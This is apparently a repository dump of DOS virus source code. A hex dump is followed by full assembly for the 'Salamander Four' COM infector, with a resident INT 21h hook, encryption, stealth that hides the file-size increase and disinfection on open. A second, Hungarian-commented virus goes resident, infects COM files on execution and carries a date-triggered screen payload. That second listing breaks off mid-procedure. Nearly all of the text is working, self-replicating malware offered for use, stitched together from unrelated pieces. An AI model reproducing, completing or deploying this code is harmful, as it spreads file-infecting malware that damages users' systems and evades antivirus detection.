11E3:05A0 03 B0 5C AA 89 BF 14 00-8B F3 81 C6 0C 00 B9 06 ..\.............
11E3:05B0 00 F3 A4 8B F3 B4 4E BA-1F 00 90 03 D6 B9 03 00 ......N.........
11E3:05C0 CD 21 EB 05 90 B4 4F CD-21 73 02 EB 9D 8B 84 46 .!....O.!s.....F
11E3:05D0 00 24 1D 3C 1D 74 EE 81-BC 4A 00 00 FA 77 E6 83 .$.<.t...J...w..
11E3:05E0 BC 4A 00 0A 72 DF 8B BC-14 00 56 81 C6 4E 00 AC .J..r.....V..N..
11E3:05F0 AA 3C 00 75 FA 5E B8 00-43 BA 1F 00 90 03 D6 CD .<.u.^..C.......
11E3:0600 21 89 8C 0A 00 B8 01 43-81 E1 FE FF BA 1F 00 90 !......C........
11E3:0610 03 D6 CD 21 B8 02 3D BA-1F 00 90 03 D6 CD 21 73 ...!..=.......!s
11E3:0620 03 E9 9F 00 8B D8 B8 00-57 CD 21 89 8C 18 00 89 ........W.!.....
11E3:0630 94 16 00 B4 2C CD 21 80-E6 07 75 10 B4 40 B9 05 ....,.!...u..@..
11E3:0640 00 8B D6 81 C2 2B 00 CD-21 EB 5F 90 B4 3F B9 03 .....+..!._..?..
11E3:0650 00 8B D6 CD 21 72 53 3D-03 00 75 4E B8 02 42 33 ....!rS=..uN..B3
11E3:0660 C9 33 D2 CD 21 72 43 8B-C8 2D 03 00 89 84 08 00 .3..!rC..-......
11E3:0670 81 C1 E7 02 8B FE 81 EF-E5 01 89 0D B4 40 B9 17 .............@..
11E3:0680 02 90 8B D6 81 EA E7 01-CD 21 72 1E 3D 17 02 90 .........!r.=...
11E3:0690 75 18 B8 00 42 33 C9 33-D2 CD 21 72 0D B4 40 B9 u...B3.3..!r..@.
11E3:06A0 03 00 8B D6 81 C2 07 00-CD 21 8B 8C 18 00 8B 94 .........!......
11E3:06B0 16 00 81 E1 E0 FF 81 C9-1D 00 B8 01 57 CD 21 B4 ............W.!.
11E3:06C0 3E CD 21 B8 01 43 8B 8C-0A 00 BA 1F 00 90 03 D6 >.!..C..........
11E3:06D0 CD 21 1E B4 1A C5 94 03-00 CD 21 1F 59 33 C0 33 .!........!.Y3.3
11E3:06E0 DB 33 D2 33 F6 BF 00 01-57 33 FF C2 FF FF E9 F9 .3.3....W3......
11E3:06F0 03 80 00 D9 0D E9 04 04-20 00 2A 2E 43 4F 4D 00 ........ .*.COM.
11E3:0700 28 00 7E 1B 56 16 16 3F-50 41 54 48 3D 35 2E 43 (.~.V..?PATH=5.C
11E3:0710 4F 4D 00 5C 44 49 53 4B-43 4F 50 59 2E 43 0D FF OM.\DISKCOPY.C..

+581
View File
@@ -0,0 +1,581 @@
.model tiny
.code
org 100h
resid equ 3099h
fileid equ 's'
time_stamp equ 10001b ;stealth marker...
host:
jmp short entry
db 90h,fileid
vstart:
entry:
call $+3
gd:
mov si,sp
mov bp, word ptr [si]
sub bp,offset gd
lea si, [bp+offset vstart]
call decrypt ;this call will probably trigger fprot!
;but tbav doesn't note shit...
encrypted_start:
mov ax,resid
int 21h
cmp ax,bx
je alreadyres ;check if already resident
gores:
mov ax,ds ;ds=psp
dec ax
mov ds,ax ;ds=mcb
xor di,di
cmp byte ptr ds:[di],'Z' ;end of chain ?
jne nomem
sub word ptr ds:[di+3],(hend-vstart)/16+1 ;sub dos memory
sub word ptr ds:[di+12h],(hend-vstart)/16+1 ;get tom from PSP:2 and
mov ax, word ptr ds:[di+12h] ;sub
mov es,ax ;es=virus segment...
push cs
pop ds
copy2mem:
cld
lea si,[bp+offset vstart]
xor di,di
mov cx,(vend-vstart)/2+1
rep movsw ;copy virus to
;allocated memory
hook21h:
xor ax,ax
mov ds,ax ;ds points to int-table
push ds
lds ax,ds:[21h*4]
mov word ptr es:[o21ho-vstart],ax
mov word ptr es:[o21hs-vstart],ds ;store int 21h's vector
pop ds ;ds=0
mov word ptr ds:[21h*4],0
mov word ptr ds:[21h*4+2],1eh ;seg of hole in mem...
mov byte ptr ds:[1e0h],0eah ;jmp dword ptr
mov word ptr ds:[1e1h],(n21h-vstart) ; es:n21-vstart
mov word ptr ds:[1e3h],es ;this makes i21h's
;vector
;point to 0eh:0h and
;thats were we placed
;a jmp far to
;es:(n21h-vstart) ;))
nomem:
alreadyres:
return_com:
inc sp ;this is to restore the sp to 0fffeh, done b'cos
inc sp ;of the delta offset calc in the begining...
;don't know if it's nessesary thou...
push cs cs ;cs=ds=es
pop es ds
mov di,100h
push di
lea si,[bp+offset hbytes]
movsw
movsw
ret ; jmp 100h to start host
;-----------------------------------------------------------------------------
; This is our new int 24h handler. ie. our new critical error handler
; it'll assume no error
n24h:
mov al,0
iret
;-----------------------------------------------------------------------------
;new int 21h handler
; TU>
; This is totally fucked up, he could have used
; direct-jumps for example the stealth-routines,
; but since this is an early beta, he didn't ;).
; Thrust me, this was fixed, too.
n21h:
cmp ax,resid
jne exec
mov bx,resid
iret ;so virus wont load resident twice+
exec:
cmp ax,4b00h
jne cinfect
jmp infect
cinfect:
cmp ah,3eh ;close ?
jne odisinf
jmp close_infect ;infect!
odisinf:
cmp ah,3dh
jne ext_open
jmp open_disinfect ;if it's a file open, then disinfect!
ext_open:
cmp ax,6c00h
jne _11
jmp extended_open ;if it's a extended open (F-prot for example...)
_11:
cmp ah,11h
jne _12
jmp short fcb_stealth ;stealth during a dos-dir, find first via handles
_12:
cmp ah,12h
jne _4e
jmp short fcb_stealth ;stealth during a dos-dir, find next
_4e:
cmp ah,4eh
jne _4f
jmp short handle_stealth ;stealth during normal find first
_4f:
cmp ah,4fh
jne o21h
jmp short handle_stealth ;stealth during normal find next
o21h: db 0eah
o21ho dw 0
o21hs dw 0 ;jmp far o21hs:o21ho
ret ;used for calls to old int 21h...
;-----------------------------------------------------------------------------
;This routine will hide the size-increase of an infected .com when using
; 11h/12h or 4eh/4fh
; TU>
; I believe these two routines were put togheter into one in a latter
; version.. Sorry ;).
fcb_stealth: ;11h/12h
pushf
push cs
call o21h ;fake a call to old int handler
or al,al
jnz stealth_error
pushf
push ax bx es ;dont destroy
mov ah,51h
int 21h ;get psp addr.
mov es,bx
cmp bx,es:[16h] ;dos calling?
jne dont_stealth
mov bx,dx
mov al,[bx] ;current drive, if al=ffh then ext.fcb
push ax
mov ah,2Fh
int 21h ;get dta addr. es:bx
pop ax
inc al ;if al=ffh => al=00
jnz regular_fcb ;if al=00 then it's an extended fcb
add bx,7 ;skip dos-reserved and attribs...
regular_fcb:
add bx,3 ;the byte diffrence between the offset
;to the filesize using fcb/handles
mov ax,es:[bx+14h] ;ax=timestamp (14h+3=17h ;)
jmp short stealth_it ;hide the size
handle_stealth: ;4e/4f
pushf
push cs
call o21h ;fake int call
jc stealth_error ;there was an error so don't stealth
; (such as no files to find.. )
pushf
push ax bx es ;save
mov ah,2fh
int 21h ;get dta addr., es:bx points to it...
mov ax,es:[bx+16h] ;get time stamp
stealth_it:
and al,00011111b ;kill all but secs...
xor al,time_stamp ;xor with our marker
jnz dont_stealth ;not ours :(
cmp word ptr es:[bx+1ah],(vend-vstart) ;if fcb bx=bx+3
jb dont_stealth ;too small to be us...
cmp word ptr es:[bx+1ch],0 ;if fcb bx=bx+3
ja dont_stealth ;too large for us...>64k
sub word ptr es:[bx+1ah],(vend-vstart) ;decrease the filesize
sbb word ptr es:[bx+1ch],0 ; (* WHY ?? - TU *)
dont_stealth:
pop es bx ax
popf
stealth_error: ;if there was an error during int call
stealth_done:
retf 2
;-----------------------------------------------------------------------------
;This is our infection routine, ds:dx points to filename upon entry
infect:
push ax bx cx dx di si ds es ;don't destroy regs/segs
mov byte ptr cs:(cflag-vstart),0 ;no closeinfection...
xchg_i24h:
mov ax,3524h
int 21h ;get int 24h's vector in es:bx
push es bx ;save es:bx so we can restore the handler...
push ds dx cs ;save ds:dx=filename
pop ds ;ds=cs
mov ah,25h
mov dx,(n24h-vstart)
int 21h ;set int 24h's vector to our handler
pop dx ds ;ds:dx=filename
mov ax,4300h
int 21h
push cx ;get and save attribs
mov ax,4301h
push ax ds dx
xor cx,cx
int 21h ;clear attribs
call openfile_rw ;open file r/w
infect_close:
push cs cs
pop ds es ;ds=cs=es
mov ah,3fh
mov dx,(hbytes-vstart)
mov cx,4
int 21h ;read first 3 bytes
cmp byte ptr ds:[hbytes-vstart],'M'
je jmpclose ; *.exe
cmp byte ptr ds:[hbytes-vstart],'Z'
jne @okey ; *.exe
jmpclose:
jmp close
@okey:
cmp byte ptr ds:[hbytes-vstart+3],fileid
je jmpclose ; infected by us already
call get_name ;get filename via sft's, in es:di
cmp word ptr es:[di],'OC' ;command.com
je jmpclose ;then close the file...
mov ax,5700h
int 21h
push cx dx ;read files time/date and save them
Call Go_eof ;go to end of file... ax=filesize on
;return
cmp ax,1024
jb restore
cmp ax,63000
ja restore ;too small/large ?
sub ax,3 ;jmp entry
mov word ptr ds:[nbytes-vstart+1],ax ;save jmp loc
get_encval:
mov ah,2ch
int 21h
or dl,dl
jz get_encval ;get new value if enc_val=0
mov word ptr ds:[encval-vstart],dx ;save it.
copy2buf:
cld
mov ax,8d00h
mov es,ax ;es=8d00h
xor si,si
xor di,di
mov cx,(vend-vstart)/2+1
rep movsw ;copy virus to encbuf
enc_buf:
mov si,(encrypted_start-vstart)
call encrypt ;encrypt es:si
write:
push es
pop ds ;es=ds=8d00h
mov ah,40h
mov cx,(vend-vstart)
cwd ;write from 8d00h:0000h
int 21h ;write encrypted virus to file
push cs
pop ds ;cs=ds
xor ax,ax
call move_fp ;go to begining of file
mov ah,40h
mov cx,4
mov dx,(nbytes-vstart)
int 21h ;write jmp to virus entry
restore:
mov ax,5701h
pop dx cx
and cl,11100000b ;zero sec's
or cl,time_stamp ;mark with our infection marker
int 21h ;restored files time/date stamp
close:
cmp byte ptr cs:(cflag-vstart),1 ;if it is a infection on
je goon2 ;close don't close file...
;and don't restore attribs
mov ah,3eh
int 21h
pop dx ds ax cx ;restore ax=4301h, ds:dx=filename
int 21h
restore_i24h:
mov ax,2524h
pop dx ds ;ds:dx points to old int 24h
int 21h ;handler
goon2:
mov byte ptr cs:(cflag-vstart),0 ;no close infection anymore
dah: pop es ds si di dx cx bx ax ;restore all segs/regs
duh: jmp o21h ;do old int 21h
;-----------------------------------------------------------------------------
close_infect:
cmp bx, 4 ;don't close AUX/NULL/CON...
jbe duh ;jmp to jmp to org 21h ;)
push ax bx cx dx di si ds es ;don't destroy regs/segs
call get_name
add di,8 ;es:di file ext
cmp word ptr es:[di],'OC'
jne noclose
cmp word ptr es:[di+2],'M'
jne noclose
mov byte ptr es:[di-26h],2 ;mark file as open in r/w mode
xor ax,ax
call move_fp ;go to begining of file
mov byte ptr cs:(cflag-vstart),1 ;mark it as a close infection...
jmp infect_close
noclose:
jmp short dah
pop es ds si di dx cx bx ax ;restore all segs/regs
jmp o21h
;-----------------------------------------------------------------------------
;This routine will disinfect an infected .com file on open!
extended_open:
cmp dx,1
je yessir
jmp o21h ;don't do anything...
yessir:
mov ah,3dh
mov al,bl
mov dx,si ;filename ds:si=ds:dx...
mov byte ptr cs:(oflag-vstart),1
open_disinfect: ;ds:dx=filename...
push ax bx cx dx di si ds es ;save all regs/segs...
push ds
pop es ;ds=es
mov cx,64 ;path+fname= max 65
mov di,dx ;offs to filename
mov al,'.' ;look for '.'
repne scasb ;repeat scansingel byte until cx=0
;offset to '.'+1 in di
cmp word ptr ds:[di],'OC'
je smallc
cmp word ptr ds:[di],'oc'
jne nocom
smallc:
cmp byte ptr ds:[di+2],'M'
je openfile
cmp byte ptr ds:[di+2],'m'
je openfile ;check if it's a com or COM
nocom:
jmp no_opendis
openfile:
call openfile_rw ;open file r/w
push cs cs
pop ds es ;cs=ds=es
mov ax,5700h
int 21h
push cx dx ;save time/date
read_f4:
mov ah,3fh
mov cx,4
mov dx,(hbytes-vstart) ;use hbytes it won't be at first...
int 21h ;read first 4 bytes...
chk_markers:
cmp byte ptr ds:[hbytes-vstart+3],fileid ;ie. our marker
jne close_dis
cmp byte ptr ds:[hbytes-vstart],0e9h ;check if it is a jmp.
jne close_dis ;if itsn't it can't be us...
call go_eof ;go to end of file,
;ax=fsize on return
mov dx,ax ;store fsize in dx too
sub ax,(vend-entry+3)
cmp word ptr ds:[hbytes-vstart+1],ax ;check if the jmp is to
jne close_dis ;our supposed entry point
push dx ;push fsize
xor ax,ax
sub dx,(vend-hbytes) ;goto hbytes offs. in file
call go_to
mov ah,3fh
mov cx,4
mov dx,(hbytes-vstart)
int 21h ;store bytes read in memory
xor ax,ax
call move_fp ;go tof
mov ah,40h
mov dx,(hbytes-vstart)
mov cx,4
int 21h
pop dx
sub dx,(vend-vstart) ;dx=size of original file
xor ax,ax
call go_to ;go to bof+cx:dx ie
;fsize-vsize
mov ah,40h
xor cx,cx
int 21h ;trunc file....
close_dis:
mov ax,5701h
pop dx cx
int 21h ;restore time/date
mov ah,3eh
pushf
push cs
call o21h ;close file
no_opendis: ;the file was never opened
pop es ds si di dx cx bx ax ;restore all segs/regs
cmp byte ptr cs:(oflag-vstart),1
jne @dduh
mov ax,6c00h ;restore ax
mov dx,1 ;restore dx after
;disinfecting...
mov byte ptr cs:(oflag-vstart),0 ;restore to no-extended open...
@dduh: jmp o21h
;-----------------------------------------------------------------------------
get_name:
push bx
mov ax,1220h ;get jft for handle at es:di
int 2fh
mov ax,1216h ;get system file table
mov bl,byte ptr es:[di] ;for handle index in bx
int 2fh
pop bx
add di,20h ;es:di+20h points to file fname
ret ;return
;-----------------------------------------------------------------------------
go_eof:
mov al,2
move_fp:
cwd
go_to:
xor cx,cx
mov ah,42h
int 21h
ret
;-----------------------------------------------------------------------------
;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin
;ds:dx->filename
Openfile_rw:
mov ax,3d02h
pushf
push cs
call o21h
xchg bx,ax
ret ;return to caller with filehandle in bx...
;-----------------------------------------------------------------------------
;DATA AREA
oflag db 0 ;extended open marker
cflag db 0 ;close infection marker
tag db '[- Salamander Four -] (c) by Blonde in 1994'
nbytes db 0e9h,0,0,fileid ;newbytes
;-----------------------------------------------------------------------------
encrypt_end:
hbytes db 0cdh,20h,0,0 ;HOSTbytes, not ecrypted due to disinfect
;-----------------------------------------------------------------------------
encrypt:decrypt:
mov cx,(encrypt_end-encrypted_start)/2
xorl:
db 26h
db 81h,34h
encval dw 0 ;xor es:[si],encval
inc si
inc si
loop xorl
ret
vend: ;end of virus code excluding heap
hstart:
hend: ;end of virus code including heap
end host
================================================================================
+781
View File
@@ -0,0 +1,781 @@
PAGE ,132
VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
R1 EQU IDE-131H
R2 EQU BE1-1A3H
HOSSZ EQU VEG-KEZDET
ORG 100H
KEZDET EQU $
DB 1
CLI
MOV BP,SP
CALL IDE
IDE: POP BX ; A CIM VISSZAOLVASASA
SUB BX,131H
TEST CS:BYTE PTR [BX+KEZDET-R1],1
JZ INDIT
LEA SI,[BX+INDIT-R1]
MOV SP,OFFSET VEG-INDIT
FOLYT: XOR [SI],SI
XOR [SI],SP
INC SI
DEC SP
JNZ FOLYT
INDIT: MOV SP,BP
JMP BEEPUL
REGCIM DW 100H
VSZ DW 0
MENTAX DW 0
PRGKEZ DB 0,0,0
DW 0
REG1C DD 0
REG21 DD 0
REG28 DD 0
DW 0
FILATT DW 0
FILDAT DW 0
FILIDO DW 0
FILNEV DD 0
FILHOS DD 0
UJKEZD DB 0E9H,0,0
VIDOSZL DB 0
VIDSOR DB 0
VIDMOD DB 0
OLVKAR DB 0
OLVATT DB 0
STATUS DB 0
VIDKEZ DW 0
VIDOFS DW 0
IDOEGYS DW 0
SZAML DW 0
SZAMLEL DW 0
MAXKAR DW 0
POTYKAR DW 0
ORA DB 16 DUP(0)
BEEPUL: CALL BE1
BE1: POP BX
SUB BX,1A3H
MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE
MOV CS:[BX+MENTAX-R2],AX
MOV AX,CS:[BX+PRGKEZ-R2]
MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA
MOV AL,CS:[BX+PRGKEZ+2-R2]
MOV DS:102H,AL
PUSH BX
MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA
INT 21H
POP BX
CMP AL,2
JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO
MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE
XOR DI,DI ; DI=0
XOR SI,SI ; SI=0
INT 21H ; A VIRUS MAR A MEMORIABAN?
CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV
JNZ BE2 ; UGRAS, HA MAR MUKODIK
JB BE3 ; MINDIG HAMIS
VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT
PUSH DS
POP ES ; AZ ES VISSZAALLITASA
MOV AX,CS:[BX+MENTAX-R2]
JMP DWORD PTR CS:[BX+REGCIM-R2]
BE2: PUSH BX
MOV AX,3521H
INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA
MOV AX,BX
POP BX ; ES ELTAROLASA A TABLAZATBAN
BE3: MOV CS:[BX+REG21-R2],AX
MOV CS:[BX+REG21+2-R2],ES
MOV AX,0F000H
MOV ES,AX
MOV DI,0E008H
CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/
JNZ BE4
CMP WORD PTR [DI+2],5250H
JNZ BE4
CMP WORD PTR [DI+4],202EH
JNZ BE4
CMP WORD PTR [DI+6],4249H
JNZ BE4
CMP WORD PTR [DI+8],4DH
JZ VISSZA
BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN
MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO
DEC BP ; MCB-RE
MOV ES,BP
MOV SI,CS:[16H]
MOV ES:[1],SI
MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE
MOV ES:[3],AX
MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB
SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS
DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB
INC BP
ADD BP,AX
INC BP
MOV ES,BP
PUSH BX
MOV AH,50H
MOV BX,BP
INT 21H
POP BX
XOR DI,DI ; DI=0
PUSH ES
POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ
PUSH DI
LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL
MOV SI,DI
MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/
STD ; VISSZAFELE
REPZ MOVSB ; FELMASOLJA
PUSH ES
LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN
PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A
RETF ; RETF UTASITAS UTAN FOLYTATODIK
BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ
LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA
MOV CS:36H,CS
DEC BP ; AZ UJ MCB SZEGMENSCIME
MOV ES,BP ; ATTOLTENI ES-BE
MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT
MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB
MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME
INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA
MOV ES,BP ; A PROGRAM ELEJERE
PUSH DS
POP ES ; ES=DS
PUSH CS
POP DS ; DS=CS
LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
MOV DI,100H
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT
REPZ MOVSB ; FELSZABADULT HELYRE
PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES
LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA
PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA
RETF ; UTAN TORTENIK
BE8: MOV CS:WORD PTR [2CH],0
MOV CS:16H,CS
PUSH DS ; DS ERTEKET ELMENTENI
LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA
PUSH CS ; DS=CS
POP DS
MOV AX,2521H
INT 21H
POP DS ; DS REGI ERTEKE
MOV AH,1AH
MOV DX,80H
INT 21H ; A DTA CIM BEALLITASA
CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
MOV AH,2AH
INT 21H ; RENDSZERDATUM BEOLVASASA
CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988?
JA BE5 ; IGEN: CSAK FERTOZES
JZ BE6 ; IDEN VAN 1988
CMP CX,1980 ; 1980 VAN?
JNZ BE5 ; IGEN: CSAK FERTOZES
PUSH DS
MOV AX,3528H
INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA
MOV CS:WORD PTR REG28,BX
MOV CS:WORD PTR REG28+2,ES
MOV AX,2528H
MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE
PUSH CS
POP DS ; DS=CS
INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA
POP DS
OR CS:STATUS,1000B ; A POTYOGAS LETILTASA
JMP BE7
BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG
JB BE5 ; MEG NINCS
BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA
MOV AX,1518H
CALL VELETL
INC AX
MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA
MOV CS:SZAMLEL,AX
MOV CS:POTYKAR,1
MOV AX,351CH
INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA
MOV CS:WORD PTR REG1C,BX
MOV CS:WORD PTR REG1C+2,ES
PUSH DS
MOV AX,251CH
MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE
PUSH CS ; ES SZEGMENSE
POP DS
INT 21H ; AZ 1CH VEKTOR BEALLITASA
POP DS
BE5: MOV BX,0FFD6H
JMP VISSZA
UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH?
JZ U21_1 ; IGEN
U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N
U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA
LES AX,CS:REG21
MOV DX,CS
IRET
U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE?
JZ U21_3 ; IGEN
CMP AL,0 ; BETOLTES & INDITAS?
JNZ U21_2 ; NEM
PUSHF ; A REGISZTEREK MENTESE
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
PUSH ES
PUSH DS
MOV CS:WORD PTR FILNEV,DX
MOV CS:WORD PTR FILNEV+2,DS
PUSH CS
POP ES
MOV AX,3D00H
INT 21H ; A FILE MEGNYITASA OLVASASRA
JC FERT1
MOV BX,AX ; A FILESZAM ATVITELE BX-BE
MOV AX,5700H
INT 21H ; A KELETKEZESI IDO BEOLVASASA
MOV CS:FILDAT,DX ; ES ELTAROLASA
MOV CS:FILIDO,CX
MOV AH,3FH
PUSH CS
POP DS
MOV DX,OFFSET PRGKEZ
MOV CX,3
INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA
JC FERT1
CMP AX,CX ; SIKERULT MINDENT BEOLVASNI?
JNZ FERT1 ; NEM, HIBA TORTENT
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H ; FILE HOSSZANAK A MEGHATAROZASA
MOV CS:WORD PTR FILHOS,AX
MOV CS:WORD PTR FILHOS+2,DX
MOV AH,3EH
INT 21H ; A FILE LEZARASA
CMP CS:WORD PTR PRGKEZ,5A4DH
JNZ FERT2 ; COM FILE?
JMP FERT3 ; EXE ESETEN VISSZATERES
FERT2: CMP CS:WORD PTR FILHOS+2,0
JA FERT1 ; NAGYOBB, MINT 64K?
CMP CS:WORD PTR FILHOS,0F93BH
JBE FERT7 ; A FILE MEG MEGFELELO MERETU
FERT1: JMP FERT3
FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS?
JNZ FERT8 ; NEM
MOV AX,CS:WORD PTR FILHOS
ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK?
CMP AX,CS:WORD PTR PRGKEZ+1
JZ FERT1 ; EZ A FILE MAR FERTOZOTT
FERT8: MOV AX,4300H
LDS DX,CS:FILNEV
INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA
JC FERT1
MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA
XOR CL,20H ; AZ ARCHIV BIT INVERTALASA
TEST CL,27H
JZ FERT5
MOV AX,4301H
XOR CX,CX
INT 21H ; AZ UJ ATTRIBUTUM FELIRASA
JC FERT1
FERT5: MOV AX,3D02H
INT 21H ; FILE NYITASA IRASRA & OLVASASRA
JC FERT1
MOV BX,AX ; FILE SORSZAM BX-BE
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H ; MUTATO A FILE VEGERE
CALL UTANMAS ; A VIRUST UTANAMASOLNI
JNC FERT9 ; SIKERULT?
MOV AX,4200H
MOV CX,CS:WORD PTR FILHOS+2
MOV DX,CS:WORD PTR FILHOS
INT 21H ; MUTATO A FILE EREDETI VEGERE
MOV AH,40H
XOR CX,CX
INT 21H ; A FILEHOSSZ FELIRASA
JMP FERT6
FERT9: MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H ; MUTATO A FILE ELEJERE
JC FERT6
MOV AX,CS:WORD PTR FILHOS
ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA
MOV CS:WORD PTR UJKEZD+1,AX
MOV AH,040H
MOV DX,OFFSET UJKEZD
MOV CX,3
INT 21H ; AZ ELSO HAROM BYTE KIIRASA
FERT6: MOV AX,5701H
MOV DX,CS:FILDAT ; A DATUM
MOV CX,CS:FILIDO ; ES IDO BEOLVASASA
INT 21H ; ES BEALLITASA
MOV AH,3EH
INT 21H ; A FILE LEZARASA
MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA
TEST CL,111B ; R/O, REJTETT VAGY RENDSZER?
JNZ FERTA
TEST CL,100000B ; ARCHIV FILE?
JNZ FERT3
FERTA: MOV AX,4301H
LDS DX,CS:FILNEV
INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA
FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA
POP ES
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
JMP U21_2
VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA
PUSH DS
PUSH CS
POP DS
PUSH BX
PUSH CX
PUSH DX
PUSH AX
MOV CX,7
MOV BX,OFFSET ORA+0EH
PUSH [BX]
VEL1: MOV AX,[BX-2]
ADC [BX],AX
DEC BX
DEC BX
LOOP VEL1
POP AX
ADC [BX],AX
MOV DX,[BX]
POP AX
OR AX,AX
JZ VEL2
MUL DX
VEL2: MOV AX,DX
POP DX ; REGISZTEREK VISSZAALLITASA
POP CX
POP BX
POP DS
RET
VELETL ENDP
BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
PUSH DS ; A REGISZTEREK ELMENTESE
PUSH ES
PUSH SI
PUSH DI
PUSH CX
PUSH CS ; ES=CS
POP ES
MOV CX,40H ; FORRAS= 0000:046CH
MOV DS,CX ; AZ ORA BEMASOLASA
MOV DI,OFFSET ORA
MOV SI,6CH
MOV CX,8 ; 16 BYTE
CLD ; NOVEKVO IRANYBA
REPZ MOVSW
POP CX ; A REGISZEREK ELOZO ERTEKEINEK
POP DI ; VISSZAALLITASA
POP SI
POP ES
POP DS
RET ; VISSZATERES
BEMAS ENDP
VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL
PUSH SI ; REGISZTEREK ELMENTESE
PUSH DS
PUSH DX
MOV AL,DH
MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK
MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA
ADD AX,DX
SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.)
ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL
MOV SI,AX
TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
MOV DS,VIDKEZ
JZ VO3 ; NEM HAVAZIK
MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA
CLI ; A MEGSZAKITASOKAT LETILTANI
VO1: IN AL,DX ; A STATUSZ BEOLVASASA
TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS
JNZ VO3
TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL
JNZ VO1
VO2: IN AL,DX
TEST AL,1
JZ VO2
VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA
STI ; A MEGZAKITAS ELLENORZESE
POP DX ; REGISZTEREK VISSZAOLVASASA
POP DS
POP SI
RET
VIDOLV ENDP
VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA
PUSH DI ; REGISZTEREK ELMENTESE
PUSH ES
PUSH DX
PUSH BX
MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE
MOV AL,DH ; A CIM KISZAMITASA
MUL VIDOSZL
MOV DH,0
ADD AX,DX
